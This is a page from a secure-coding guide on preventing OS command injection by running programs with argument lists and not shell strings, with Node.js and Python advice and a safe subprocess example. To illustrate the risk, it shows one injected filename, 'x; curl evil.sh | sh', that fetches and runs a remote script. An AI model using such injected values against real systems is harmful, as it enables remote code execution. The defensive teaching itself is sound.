Chapter 2 · Practice 4 of 5
Run programs with an argument list, never a shell string
Why it matters
OS command injection happens when input reaches a shell. A shell interprets ;, |, $( ), backticks and more, so a filename like x; curl evil.sh | sh becomes a second command.
The reliable fix is to not use a shell at all:
- In Node.js, use
execFileorspawnwith an array of arguments. Avoidexecandshell: true. - In Python, use
subprocess.run([...])with a list and leaveshell=False(the default). Avoidos.systemandshell=True.
Even with an argument list, a value that starts with - can be read as an option by the program. Validate it against an allowlist, and put -- before positional arguments when the tool supports it.
Better still, ask whether you need a subprocess. Most image, archive and PDF tasks have a library that does the job in-process, with no command line to inject into.
Avoid
- child_process.exec or shell: true with any user value
- os.system or subprocess with shell=True
- Building a command line with string formatting
Example
import subprocess
def thumbnail(src: str, dest: str) -> None:
# list form: no shell parses these values; "--" ends option parsing
subprocess.run(
["convert", "-resize", "256x256", "--", src, dest],
check=True,
timeout=30,
)